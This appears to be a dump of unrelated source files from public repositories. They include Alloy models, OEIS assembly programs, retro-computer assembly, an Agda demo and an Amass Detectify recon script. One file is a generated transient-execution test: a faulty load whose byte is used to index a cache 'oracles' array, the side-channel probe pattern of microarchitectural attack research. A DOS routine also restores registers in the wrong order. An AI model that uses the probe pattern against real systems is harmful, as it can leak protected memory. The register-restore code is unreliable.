Inst in a0 + a1 + a2 + b0 + b1 + b2 a0 in Store && a0.loc = x && a0.wval != Zero a1 in Flush a2 in Store && a2.loc = y && a2.wval != Zero b0 in Inval b1 in Load && b1.loc = y && b1.rval != Zero b2 in Load && b2.loc = x && b2.rval = Zero } } pred atom_forced_1 { consistent some x : Loc | some val1, val2 : Val | disj[Zero, val1, val2] and some disj a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11 : Action { (a0 -> a1) + (a1 -> a2) + (a2 -> a3) + (a3 -> a4) + (a4 -> a5) + (a5 -> a6) + (a6 -> a7) + (a7 -> a8) + (a8 -> a9) + (a9 -> a10) + (a10 -> a11) in then (a0 -> a3) + (a3 -> a4) + (a4 -> a6) + (a6 -> a7) + (a7 -> a8) + (a8 -> a9) + (a9 -> a10) in same_thd (a1 -> a2) + (a2 -> a5) + (a5 -> a11) in same_thd (a0 -> a1) not in same_thd same_thd = same_wg // Alloy can't add extra instructions Inst in a2 + a3 + a4 + a6 + a8 + a9 a0 in EnvFetch && a0.loc = x // environment transition a1 in EnvFetch && a1.loc = x // environment transition a2 in IncL1 && a2.loc = x && a2.rval = Zero && a2.wval = val1 a3 in Lock && a3.loc = x a4 in Flush a5 in EnvInval && a5.loc = x // environment transition a6 in Store && a6.loc = x && a6.wval = val2 a7 in EnvInval && a7.loc = x // environment transition a8 in RemInval a9 in Unlock && a9.loc = x a10 in EnvFlush && a10.loc = x // environment transition a11 in EnvFlush && a11.loc = x // environment transition postcondition[x,val1] } } pred atom_forced_2 { consistent some x : Loc | some val1, val2 : Val | disj[Zero, val1, val2] and some disj a0, a1, a2, a3, a4, a5, a6, a7, a8 : Action { (a0 -> a1) + (a1 -> a2) + (a2 -> a3) + (a3 -> a4) + (a4 -> a5) + (a5 -> a6) + (a6 -> a7) + (a7 -> a8) in then (a0 -> a1) + (a1 -> a2) + (a2 -> a3) + (a3 -> a4) + (a4 -> a7) in same_thd (a5 -> a6) + (a6 -> a8) in same_thd (a0 -> a5) not in same_thd same_thd = same_wg // Alloy can't add extra instructions Inst in a0 + a1 + a2 + a3 + a4 + a6 a0 in Lock && a0.loc = x a1 in Flush a2 in Store && a2.loc = x && a2.wval = val2 a3 in RemInval a4 in Unlock && a4.loc = x a5 in EnvFetch && a5.loc = x // environment transition a6 in IncL1 && a6.loc = x && a6.rval = Zero && a6.wval = val1 a7 in EnvFlush && a7.loc = x // environment transition a8 in EnvFlush && a8.loc = x // environment transition postcondition[x,val1] } } pred atom { consistent some x : Loc | some val1, val2 : Val | disj[Zero, val1, val2] and some disj a0, b0, b1, b2, b3, b4 : Action { (b0 -> b1) + (b1 -> b2) + (b2 -> b3) + (b3 -> b4) in then & same_thd // Alloy can't add extra instructions Inst in a0 + b0 + b1 + b2 + b3 + b4 a0 in IncL1 && a0.loc = x && a0.rval = Zero && a0.wval = val1 b0 in Lock && b0.loc = x b1 in Flush b2 in Store && b2.loc = x && b2.wval = val2 b3 in RemInval b4 in Unlock && b4.loc = x postcondition[x,val1] } } run mp_forced for 3 GState, 7 LState, 5 MemEntry, 2 Val, 2 Loc, 10 Action expect 1 // 10 seconds (plingeling on babillion) run mp for 3 GState, 7 LState, 5 MemEntry, 2 Val, 2 Loc, 10 Action expect 1 // 11 mins (plingeling on babillion) run atom_forced_1 for 4 GState, 8 LState, 7 MemEntry, 3 Val, 1 Loc, 12 Action expect 1 // 33 seconds (plingeling on babillion) run atom_forced_2 for 4 GState, 6 LState, 6 MemEntry, 3 Val, 1 Loc, 9 Action expect 1 // 2 seconds (plingeling on babillion) run atom for 4 GState, 6 LState, 6 MemEntry, 3 Val, 1 Loc, 9 Action // 6 seconds (plingeling on babillion)
programs/oeis/168/A168283.asm
neoneye/loda
22
21025
; A168283: a(n) = (10*n - 5*(-1)^n - 3)/4. ; 3,3,8,8,13,13,18,18,23,23,28,28,33,33,38,38,43,43,48,48,53,53,58,58,63,63,68,68,73,73,78,78,83,83,88,88,93,93,98,98,103,103,108,108,113,113,118,118,123,123,128,128,133,133,138,138,143,143,148,148,153,153,158,158,163,163,168,168,173,173,178,178,183,183,188,188,193,193,198,198,203,203,208,208,213,213,218,218,223,223,228,228,233,233,238,238,243,243,248,248 div $0,2 mul $0,5 add $0,3
libsrc/target/z1013/games/joystick.asm
dikdom/z88dk
1
12615
SECTION code_clib PUBLIC joystick PUBLIC _joystick EXTERN getk joystick: _joystick: ld a,l ld c,$20 cp 1 jr z,read_stick ld c,$40 cp 2 jr z,read_stick cp 3 jr nz,no_stick_qaop INCLUDE "games/joystick_qaop.as1" no_stick_qaop: cp 4 jr nz,no_stick_8246 INCLUDE "games/joystick_8246.as1" no_stick_8246: ld hl,0 ret ; practic 1/88 ; ; Bit 0 - links ; 1 - rechts ; 2 - runter ; 3 - hoch ; 4 - Aktionstast ; ; Left and right are swapped from z88dk ; Read a joystick ; Entry: c = stick address, $20,$40 ; Exit: hl = keys read_stick: ld a,$CF out ($01),a ld a,$1f out ($01),a ld a,c ;c=$20/$40 for sticks out ($00),a in a,($00) and 31 ld hl,0 ret z normalise_stick: cpl and 31 ld c,0 rra ;Left rl c rrca ;Right rl c rla rla and @00011100 or c ld l,a ld h,0 ret
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/sf2/irq.asm
prismotizm/gigaleak
0
84684
Name: irq.asm Type: file Size: 20693 Last-Modified: '1993-01-07T04:42:29Z' SHA-1: 5CBE792D4A8F930907063527509B12CC68D4FCEE Description: null
oeis/014/A014437.asm
neoneye/loda-programs
11
100404
<reponame>neoneye/loda-programs ; A014437: Odd Fibonacci numbers. ; Submitted by <NAME>(s1) ; 1,1,3,5,13,21,55,89,233,377,987,1597,4181,6765,17711,28657,75025,121393,317811,514229,1346269,2178309,5702887,9227465,24157817,39088169,102334155,165580141,433494437,701408733,1836311903,2971215073,7778742049,12586269025,32951280099,53316291173,139583862445,225851433717,591286729879,956722026041,2504730781961,4052739537881,10610209857723,17167680177565,44945570212853,72723460248141,190392490709135,308061521170129,806515533049393,1304969544928657,3416454622906707,5527939700884757 mul $0,6 mov $3,1 lpb $0 sub $0,4 mov $2,$1 mov $1,$3 add $3,$2 lpe mov $0,$3
1-base/math/source/generic/pure/algebra/any_math-any_algebra.ads
charlie5/lace
20
13190
generic package any_Math.any_Algebra is pragma Pure; pragma Optimize (Time); end any_Math.any_Algebra;
agda-stdlib/README/Text/Tabular.agda
DreamLinuxer/popl21-artifact
5
3903
------------------------------------------------------------------------ -- The Agda standard library -- -- Examples of printing list and vec-based tables ------------------------------------------------------------------------ {-# OPTIONS --safe --without-K #-} module README.Text.Tabular where open import Function.Base open import Relation.Binary.PropositionalEquality open import Data.List.Base open import Data.String.Base open import Data.Vec.Base open import Text.Tabular.Base import Text.Tabular.List as Tabularˡ import Text.Tabular.Vec as Tabularᵛ ------------------------------------------------------------------------ -- VEC -- -- If you have a matrix of strings, you simply need to: -- * pick a configuration (see below) -- * pick an alignment for each column -- * pass the matrix -- -- The display function will then pad each string on the left, right, -- or both to respect the alignment constraints. -- It will return a list of strings corresponding to each line in the -- table. You may then: --- * use Data.String.Base's unlines to produce a String -- * use Text.Pretty's text and vcat to produce a Doc (i.e. indentable!) ------------------------------------------------------------------------ _ : unlines (Tabularᵛ.display unicode (Right ∷ Left ∷ Center ∷ []) ( ("foo" ∷ "bar" ∷ "baz" ∷ []) ∷ ("1" ∷ "2" ∷ "3" ∷ []) ∷ ("6" ∷ "5" ∷ "4" ∷ []) ∷ [])) ≡ "┌───┬───┬───┐ \ \│foo│bar│baz│ \ \├───┼───┼───┤ \ \│ 1│2 │ 3 │ \ \├───┼───┼───┤ \ \│ 6│5 │ 4 │ \ \└───┴───┴───┘" _ = refl ------------------------------------------------------------------------ -- CONFIG -- -- Configurations allow you to change the way the table is displayed. ------------------------------------------------------------------------ -- We will use the same example throughout foobar : Vec (Vec String 2) 3 foobar = ("foo" ∷ "bar" ∷ []) ∷ ("1" ∷ "2" ∷ []) ∷ ("4" ∷ "3" ∷ []) ∷ [] ------------------------------------------------------------------------ -- Basic configurations: unicode, ascii, whitespace -- unicode _ : unlines (Tabularᵛ.display unicode (Right ∷ Left ∷ []) foobar) ≡ "┌───┬───┐ \ \│foo│bar│ \ \├───┼───┤ \ \│ 1│2 │ \ \├───┼───┤ \ \│ 4│3 │ \ \└───┴───┘" _ = refl -- ascii _ : unlines (Tabularᵛ.display ascii (Right ∷ Left ∷ []) foobar) ≡ "+-------+ \ \|foo|bar| \ \|---+---| \ \| 1|2 | \ \|---+---| \ \| 4|3 | \ \+-------+" _ = refl -- whitespace _ : unlines (Tabularᵛ.display whitespace (Right ∷ Left ∷ []) foobar) ≡ "foo bar \ \ 1 2 \ \ 4 3 " _ = refl ------------------------------------------------------------------------ -- Modifiers: altering existing configurations -- In these examples we will be using unicode as the base configuration. -- However these modifiers apply to all configurations (and can even be -- combined) -- compact: drop the horizontal line between each row _ : unlines (Tabularᵛ.display (compact unicode) (Right ∷ Left ∷ []) foobar) ≡ "┌───┬───┐ \ \│foo│bar│ \ \│ 1│2 │ \ \│ 4│3 │ \ \└───┴───┘" _ = refl -- noBorder: drop the outside borders _ : unlines (Tabularᵛ.display (noBorder unicode) (Right ∷ Left ∷ []) foobar) ≡ "foo│bar \ \───┼─── \ \ 1│2 \ \───┼─── \ \ 4│3 " _ = refl -- addSpace : add whitespace space inside cells _ : unlines (Tabularᵛ.display (addSpace unicode) (Right ∷ Left ∷ []) foobar) ≡ "┌─────┬─────┐ \ \│ foo │ bar │ \ \├─────┼─────┤ \ \│ 1 │ 2 │ \ \├─────┼─────┤ \ \│ 4 │ 3 │ \ \└─────┴─────┘" _ = refl -- compact together with addSpace _ : unlines (Tabularᵛ.display (compact (addSpace unicode)) (Right ∷ Left ∷ []) foobar) ≡ "┌─────┬─────┐ \ \│ foo │ bar │ \ \│ 1 │ 2 │ \ \│ 4 │ 3 │ \ \└─────┴─────┘" _ = refl ------------------------------------------------------------------------ -- LIST -- -- Same thing as for vectors except that if the list of lists is not -- rectangular, it is padded with empty strings to make it so. If there -- are not enough alignment directives, we arbitrarily pick Left. ------------------------------------------------------------------------ _ : unlines (Tabularˡ.display unicode (Center ∷ Right ∷ []) ( ("foo" ∷ "bar" ∷ []) ∷ ("partial" ∷ "rows" ∷ "are" ∷ "ok" ∷ []) ∷ ("3" ∷ "2" ∷ "1" ∷ "..." ∷ "surprise!" ∷ []) ∷ [])) ≡ "┌───────┬────┬───┬───┬─────────┐ \ \│ foo │ bar│ │ │ │ \ \├───────┼────┼───┼───┼─────────┤ \ \│partial│rows│are│ok │ │ \ \├───────┼────┼───┼───┼─────────┤ \ \│ 3 │ 2│1 │...│surprise!│ \ \└───────┴────┴───┴───┴─────────┘" _ = refl ------------------------------------------------------------------------ -- LIST (UNSAFE) -- -- If you know *for sure* that your data is already perfectly rectangular -- i.e. all the rows of the list of lists have the same length -- in each column, all the strings have the same width -- then you can use the unsafeDisplay function defined Text.Tabular.Base. -- -- This is what gets used internally by `Text.Tabular.Vec` and -- `Text.Tabular.List` once the potentially unsafe data has been -- processed. ------------------------------------------------------------------------ _ : unlines (unsafeDisplay (compact unicode) ( ("foo" ∷ "bar" ∷ []) ∷ (" 1" ∷ " 2" ∷ []) ∷ (" 4" ∷ " 3" ∷ []) ∷ [])) ≡ "┌───┬───┐ \ \│foo│bar│ \ \│ 1│ 2│ \ \│ 4│ 3│ \ \└───┴───┘" _ = refl
alloy4fun_models/trainstlt/models/2/qoA596Jg5jNYfw3Rr.als
Kaixi26/org.alloytools.alloy
0
2245
open main pred idqoA596Jg5jNYfw3Rr_prop3 { always no Green } pred __repair { idqoA596Jg5jNYfw3Rr_prop3 } check __repair { idqoA596Jg5jNYfw3Rr_prop3 <=> prop3o }
tests/nasm/fscale.asm
brenden7158/v86
12,700
162938
<reponame>brenden7158/v86 global _start %include "header.inc" fldpi fldpi fscale %include "footer.inc"
packer/bitnax/sfx.asm
d23/bitfire
27
94822
<gh_stars>10-100 !cpu 6510 .lz_sector = ($10000 - (.bitnax_packed_size)) & $ff00 .decruncher = $0020 .bitnax_decrunch_offset = .bitnax_decruncher_start - .bitnax_code_start - $20 BITNAX_SIZE_HI = .bitnax_size_hi - .bitnax_code_start + 2 BITNAX_SIZE_LO = .bitnax_size_lo - .bitnax_code_start + 2 BITNAX_DATA_ADDR = .bitnax_data_addr - .bitnax_code_start BITNAX_DEST_ADDR = .bitnax_dest_addr + .bitnax_decrunch_offset + 1 + 2 BITNAX_SECTOR_PTR_1 = .bitnax_sector_ptr_1 + .bitnax_decrunch_offset + 2 + 2 BITNAX_SECTOR_PTR_2 = .bitnax_sector_ptr_2 + .bitnax_decrunch_offset + 2 + 2 BITNAX_SECTOR_PTR_3 = .bitnax_sector_ptr_3 + .bitnax_decrunch_offset + 2 + 2 .bitnax_decruncher_size = .bitnax_decruncher_end - .bitnax_decruncher_start .bitnax_packed_size = .data_end - .data_start * = $0801 .bitnax_code_start !byte $0b,$08 !word 1602 !byte $9e !text "2061" !byte $00,$00,$00 sei inc $01 lda $ba pha ldx #$00 ;txs ;inx - lda .bitnax_decruncher_start,x sta .decruncher,x ;!if .bitnax_decruncher_end - .bitnax_decruncher_start > $100 { lda .bitnax_decruncher_start + (.bitnax_decruncher_size & $ff),x sta .decruncher + (.bitnax_decruncher_size & $ff),x ;} inx bne - .bitnax_size_hi = * + 1 ldy #(>(.bitnax_packed_size)) + 1 - ;src should be data + packed_size dex .bitnax_data_addr = * + 1 src lda .data_end - $100,x dst sta $ff00,x txa bne - dec src + 2 dec dst + 2 dey bne - .bitnax_size_lo = * + 1 ldx #<($10000 - (.bitnax_packed_size)) jmp go .bitnax_decruncher_start !pseudopc .decruncher { ;fetch depack addr (use --add-depack-addr on lz) go ;******** Start the next match/literal run ******** .lz_decrunch ;XXX TODO fill .lz_bits directly with sfx, no need to place it in stream? sec ;This is the main entry point. Forcibly .lz_type_refill jsr .lz_refill_bits ;fill up the the bit buffer on entry .lz_type_check bcc .lz_do_match beq .lz_type_refill ;******** Process literal run ******** lda #%00000000 ;Decode run length - rol asl <.lz_bits bne *+5 jsr .lz_refill_bits bcc .lz_lrun_gotten asl <.lz_bits bne - jsr .lz_refill_bits bne - .lz_lrun_gotten sta <.lz_copy_cnt + 1 ;Store LSB of run-length ldy #$00 .lz_lcopy .bitnax_sector_ptr_2 .lz_sector_ptr2 = * + 1 ;Copy the literal data. lda+2 .lz_sector,x inx bne *+5 jsr .lz_fetch_sector .bitnax_dest_addr .lz_dst = * + 1 sta $3800,y iny .lz_copy_cnt cpy #$00 bne .lz_lcopy ;Time to advance the destination pointer. ;Maximum run length literals exit here as a type-bit needs ;to be fetched afterwards tya bne *+5 jmp .lz_maximum ;maximum literal run, bump sector pointers and so on clc adc <.lz_dst + 0 sta <.lz_dst + 0 bcc .lz_do_match inc <.lz_dst + 1 ;******** Process match ******** .lz_do_match lda #%00000001 asl <.lz_bits bne *+5 jsr .lz_refill_bits bcs .lz_mrun_start .lz_mrun_loop asl <.lz_bits ;fetch bit 2 bne *+5 jsr .lz_refill_bits bcc .out ;clear? all ok, else 8 bits are enough, skip last stopbit and exit asl <.lz_bits bne *+5 jsr .lz_refill_bits rol bcc .lz_mrun_loop bcs .lz_end_of_file ;A >= 258-byte run (8 bits received) serves as a sentinel .out adc #$01 .lz_mrun_start sta <.lz_mcopy_len lda #%00100000 ;Determine offset length by a two-bit rol .lz_moff_range asl <.lz_bits ;prefix combined with the first run bne *+5 ;length bit (where a one identifies jsr .lz_refill_bits ;a two-byte match). rol ;The rest of the length bits will bcc .lz_moff_range ;then follow *after* the offset data tay lda .lz_moff_length,y beq .lz_moff_far .lz_moff_loop asl <.lz_bits ;Load partial offset byte bne + sty <.lz_y jsr .lz_refill_bits .lz_y = * + 1 ldy #$00 + rol bcc .lz_moff_loop bmi .lz_moff_near .lz_moff_far sta <.lz_hi ;Save the bits we just read as the ;high-byte .bitnax_sector_ptr_3 .lz_sector_ptr3 = * + 1 lda+2 .lz_sector,x ;For large offsets we can load the inx ;low-byte straight from the stream bne *+5 ;without going throught the shift jsr .lz_fetch_sector ;register ; sec adc .lz_moff_adjust_lo,y ;y .. 2 .. 5? ?! necessary with a full lowbyte?!?! bcs .lz_moff_pageok dec <.lz_hi sec .lz_moff_pageok adc <.lz_dst + 0 sta <.lz_match + 0 .lz_hi= * + 1 lda #$00 adc .lz_moff_adjust_hi,y sec bcs .lz_moff_join ;(BRA) .lz_moff_near ; sec ;Special case handling of <8 bit offsets. adc .lz_moff_adjust_lo,y;We may can safely ignore the MSB from ; sec ;the base adjustment table as the adc <.lz_dst + 0 ;maximum base (for a 4/5/6/7 bit sta <.lz_match + 0 ;length sequence) is 113 lda #$ff .lz_moff_join adc <.lz_dst + 1 sta <.lz_match + 1 ldy #$ff ;The copy loop. This needs to be run ;forwards since RLE-style matches can overlap the destination .lz_mcopy iny .lz_match = * + 1 lda $1000,y ;Copy one byte sta (.lz_dst),y .lz_mcopy_len = * + 1 cpy #$ff bne .lz_mcopy tya ;Advance destination pointer ; sec adc <.lz_dst + 0 sta <.lz_dst + 0 ;Wrap the high-byte of the destination pointer. bcc *+4 .lz_maximum inc <.lz_dst + 1 ;This is also used by maximum length ;literals needing an explicit type bit asl <.lz_bits jmp .lz_type_check .lz_bits !byte $00 .bitnax_sector_ptr_1 .lz_sector_ptr1 = * + 1 .lz_refill_bits ldy+2 .lz_sector,x sty <.lz_bits ; sec rol <.lz_bits inx bne + .lz_fetch_sector inc .lz_sector_ptr1 + 1 inc .lz_sector_ptr2 + 1 inc .lz_sector_ptr3 + 1 + rts .lz_end_of_file dec $01 cli sta $98 ;keep away trouble from fastload installers and start with 0 opened files pla sta $ba !byte $4c .lz_moff_length = * + 2 .lz_moff_adjust_lo = .lz_moff_length + 8 .lz_moff_adjust_hi = .lz_moff_length + 16 } .bitnax_decruncher_end = * + 26 .data_start .data_end
src/asm_x86/x86/flushbf.asm
JINGCW/go_decompose
0
162191
;.model small,stdcall include flushbf.inc .model small,stdcall .code FlushBuffer PROC ;flush the standard input buffer. ;receives: nothing. returns: nothing .data onebyte db ? .code ; pusha push ax push bx push cx push dx push di l1: mov ah,3fh ;read file/device mov bx,0 ;keyboard handle mov cx,1 ;one byte mov dx,offset onebyte ;save it here int 21h ;call MS-DOS cmp onebyte,0ah ;end of lien yet? jne l1 ;no: read another ; popa pop ax pop bx pop cx pop dx pop di ret FlushBuffer ENDP END
oeis/145/A145921.asm
neoneye/loda-programs
11
98948
<reponame>neoneye/loda-programs ; A145921: Numerator of n*B(n,1+1/n), where B(.,.) is the Beta Function. ; Submitted by <NAME> ; 1,8,81,2048,15625,6718464,5764801,2147483648,31381059609,64000000000000,3138428376721,2218611106740436992,3937376385699289,1115112108958398021632,39903080760955810546875,604462909807314587353088,14063084452067724991009,16918235275724100929608539439104 add $0,1 mov $2,$0 pow $2,$0 lpb $0 sub $0,1 mov $3,$2 add $4,1 gcd $3,$4 mul $2,$3 lpe mov $0,$2
Aurora/Aurora/x64/Debug/user64.asm
manaskamal/aurora-xeneva
8
90276
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES PUBLIC ?tss@@3PEAU_tss@@EA ; tss _BSS SEGMENT ?tss@@3PEAU_tss@@EA DQ 01H DUP (?) ; tss _BSS ENDS CONST SEGMENT $SG2837 DB 'Syscalled occured', 0aH, 00H ORG $+5 $SG2838 DB 'Loaded kernel stack is %x', 0aH, 00H CONST ENDS PUBLIC ?initialize_syscall@@YAXXZ ; initialize_syscall PUBLIC ?initialize_user_land@@YAX_K@Z ; initialize_user_land PUBLIC get_kernel_tss PUBLIC syscall_debug EXTRN ?printf@@YAXPEBDZZ:PROC ; printf EXTRN x64_write_msr:PROC EXTRN x64_sgdt:PROC EXTRN syscall_entry:PROC EXTRN x64_syscall_entry_compat:PROC pdata SEGMENT $pdata$?initialize_syscall@@YAXXZ DD imagerel $LN3 DD imagerel $LN3+110 DD imagerel $unwind$?initialize_syscall@@YAXXZ $pdata$?initialize_user_land@@YAX_K@Z DD imagerel $LN8 DD imagerel $LN8+190 DD imagerel $unwind$?initialize_user_land@@YAX_K@Z $pdata$syscall_debug DD imagerel $LN3 DD imagerel $LN3+43 DD imagerel $unwind$syscall_debug pdata ENDS xdata SEGMENT $unwind$?initialize_syscall@@YAXXZ DD 010401H DD 06204H $unwind$?initialize_user_land@@YAX_K@Z DD 010901H DD 0a209H $unwind$syscall_debug DD 010901H DD 04209H xdata ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\user64.cpp _TEXT SEGMENT rcx$ = 48 syscall_debug PROC ; 62 : extern "C" void syscall_debug (uint64_t rcx) { $LN3: mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; 63 : printf ("Syscalled occured\n"); lea rcx, OFFSET FLAT:$SG2837 call ?printf@@YAXPEBDZZ ; printf ; 64 : printf ("Loaded kernel stack is %x\n", rcx); mov rdx, QWORD PTR rcx$[rsp] lea rcx, OFFSET FLAT:$SG2838 call ?printf@@YAXPEBDZZ ; printf ; 65 : //for(;;); ; 66 : } add rsp, 40 ; 00000028H ret 0 syscall_debug ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\user64.cpp _TEXT SEGMENT get_kernel_tss PROC ; 58 : return tss; mov rax, QWORD PTR ?tss@@3PEAU_tss@@EA ; tss ; 59 : } ret 0 get_kernel_tss ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\user64.cpp _TEXT SEGMENT code_sel$ = 32 data_sel$ = 36 tss_entry$ = 40 tv64 = 48 peek_gdt$ = 56 bit$ = 96 ?initialize_user_land@@YAX_K@Z PROC ; initialize_user_land ; 32 : void initialize_user_land (size_t bit) { $LN8: mov QWORD PTR [rsp+8], rcx sub rsp, 88 ; 00000058H ; 33 : ; 34 : uint16_t data_sel = SEGVAL (GDT_ENTRY_USER_DATA, 3); mov eax, 35 ; 00000023H mov WORD PTR data_sel$[rsp], ax ; 35 : uint16_t code_sel = 0; xor eax, eax mov WORD PTR code_sel$[rsp], ax ; 36 : switch (bit) { mov rax, QWORD PTR bit$[rsp] mov QWORD PTR tv64[rsp], rax cmp QWORD PTR tv64[rsp], 32 ; 00000020H je SHORT $LN2@initialize cmp QWORD PTR tv64[rsp], 64 ; 00000040H je SHORT $LN3@initialize jmp SHORT $LN1@initialize $LN3@initialize: ; 37 : case 64: ; 38 : code_sel = SEGVAL (GDT_ENTRY_USER_CODE, 3); mov eax, 43 ; 0000002bH mov WORD PTR code_sel$[rsp], ax ; 39 : break; jmp SHORT $LN4@initialize $LN2@initialize: ; 40 : case 32: ; 41 : code_sel = SEGVAL (GDT_ENTRY_USER_CODE32, 3); mov eax, 27 mov WORD PTR code_sel$[rsp], ax ; 42 : break; jmp SHORT $LN4@initialize $LN1@initialize: ; 43 : default: ; 44 : return; jmp SHORT $LN6@initialize $LN4@initialize: ; 45 : } ; 46 : ; 47 : gdtr peek_gdt; ; 48 : x64_sgdt (&peek_gdt); lea rcx, QWORD PTR peek_gdt$[rsp] call x64_sgdt ; 49 : gdt_entry& tss_entry = peek_gdt.gdtaddr[GDT_ENTRY_TSS]; mov eax, 8 imul rax, 7 mov rcx, QWORD PTR peek_gdt$[rsp+2] add rcx, rax mov rax, rcx mov QWORD PTR tss_entry$[rsp], rax ; 50 : ; 51 : tss = (TSS*) (tss_entry.base_low + (tss_entry.base_mid << 16) + (tss_entry.base_high << 24) + ((uint64_t)*(uint32_t*)&peek_gdt.gdtaddr[GDT_ENTRY_TSS + 1] << 32)); mov rax, QWORD PTR tss_entry$[rsp] movzx eax, WORD PTR [rax+2] mov rcx, QWORD PTR tss_entry$[rsp] movzx ecx, BYTE PTR [rcx+4] shl ecx, 16 add eax, ecx mov rcx, QWORD PTR tss_entry$[rsp] movzx ecx, BYTE PTR [rcx+7] shl ecx, 24 add eax, ecx cdqe mov ecx, 8 imul rcx, 8 mov rdx, QWORD PTR peek_gdt$[rsp+2] mov ecx, DWORD PTR [rdx+rcx] shl rcx, 32 ; 00000020H add rax, rcx mov QWORD PTR ?tss@@3PEAU_tss@@EA, rax ; tss $LN6@initialize: ; 52 : ; 53 : /*void* esp_stack = x64_get_stack(); ; 54 : x64_write_msr (IA32_SYSENTER_ESP, (size_t)esp_stack); */ ; 55 : } add rsp, 88 ; 00000058H ret 0 ?initialize_user_land@@YAX_K@Z ENDP ; initialize_user_land _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\user64.cpp _TEXT SEGMENT sysret_sel$ = 32 syscall_sel$ = 40 ?initialize_syscall@@YAXXZ PROC ; initialize_syscall ; 19 : void initialize_syscall () { $LN3: sub rsp, 56 ; 00000038H ; 20 : ; 21 : uint64_t syscall_sel = SEGVAL (GDT_ENTRY_KERNEL_CODE, 0); mov QWORD PTR syscall_sel$[rsp], 8 ; 22 : uint64_t sysret_sel = SEGVAL (GDT_ENTRY_USER_CODE32, 3); mov QWORD PTR sysret_sel$[rsp], 27 ; 23 : ; 24 : x64_write_msr (IA32_STAR, (sysret_sel << 48) | (syscall_sel << 32)); mov rax, QWORD PTR sysret_sel$[rsp] shl rax, 48 ; 00000030H mov rcx, QWORD PTR syscall_sel$[rsp] shl rcx, 32 ; 00000020H or rax, rcx mov rdx, rax mov ecx, -1073741695 ; c0000081H call x64_write_msr ; 25 : x64_write_msr (IA32_LSTAR, (size_t)&syscall_entry); lea rdx, OFFSET FLAT:syscall_entry mov ecx, -1073741694 ; c0000082H call x64_write_msr ; 26 : x64_write_msr (IA32_SFMASK, IA32_EFLAGS_INTR | IA32_EFLAGS_DIRF); mov edx, 1536 ; 00000600H mov ecx, -1073741692 ; c0000084H call x64_write_msr ; 27 : x64_write_msr (IA32_CSTAR, (size_t)&x64_syscall_entry_compat); lea rdx, OFFSET FLAT:x64_syscall_entry_compat mov ecx, -1073741693 ; c0000083H call x64_write_msr ; 28 : } add rsp, 56 ; 00000038H ret 0 ?initialize_syscall@@YAXXZ ENDP ; initialize_syscall _TEXT ENDS END
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_94_1562.asm
ljhsiun2/medusa
9
84059
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rsi // Faulty Load lea addresses_US+0x420f, %rsi nop nop nop nop nop xor %r10, %r10 movb (%rsi), %r8b lea oracles, %rsi and $0xff, %r8 shlq $12, %r8 mov (%rsi,%r8,1), %r8 pop %rsi pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 94} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
libsrc/oz/oztime/ozday.asm
grancier/z180
0
13926
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by <NAME> ; by <NAME> - Oct. 2003 ; ; ; clock functions ; ; unsigned ozday() ; ; ; ------ ; $Id: ozday.asm,v 1.3 2016/06/27 21:25:36 dom Exp $ ; SECTION code_clib PUBLIC ozday PUBLIC _ozday EXTERN Compute ozday: _ozday: ld c,38h jp Compute
resources/scripts/api/detectify.ads
Elon143/Amass
7,053
26430
-- Copyright 2021 <NAME>. All rights reserved. -- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. local json = require("json") name = "Detectify" type = "api" function start() set_rate_limit(1) end function check() local c local cfg = datasrc_config() if cfg ~= nil then c = cfg.credentials end if (c ~= nil and c.key ~= nil and c.key ~= "") then return true end return false end function vertical(ctx, domain) local c local cfg = datasrc_config() if cfg ~= nil then c = cfg.credentials end if (c == nil or c.key == nil or c.key == "") then return end -- Check if the asset has been monitored already if query_asset(ctx, domain, key) then return end -- Add domain to monitoring assets local resp, err = request(ctx, { ['url']="https://api.detectify.com/rest/v2/domains/", method="POST", data=json.encode({['name']=domain}), headers={['X-Detectify-Key']=c.key}, }) if (err ~= nil and err ~= "") then log(ctx, "vertical request to service failed: " .. err) return end -- Wait a bit for Detectify to enumerate subdomains for i=1,25 do check_rate_limit() end query_asset(ctx, domain, key) end function query_asset(ctx, domain, key) local resp, err = request(ctx, { ['url']="https://api.detectify.com/rest/v2/domains/", headers={['X-Detectify-Key']=key}, }) if (err ~= nil and err ~= "") then log(ctx, "query_asset request to service failed: " .. err) return false end local j = json.decode(resp) if (j ~= nil and #j > 0) then for _, a in pairs(j) do if a.name == domain then query_subdomains(ctx, a.token, key) return true end end end return false end function query_subdomains(ctx, token, key) local resp, err = request(ctx, { ['url']=build_url(token), headers={['X-Detectify-Key']=key}, }) if (err ~= nil and err ~= "") then log(ctx, "query_subdomains request to service failed: " .. err) return end local j = json.decode(resp) if (j == nil or #j == 0) then return end for _, s in pairs(j) do new_name(ctx, s.name) end end function build_url(token) return 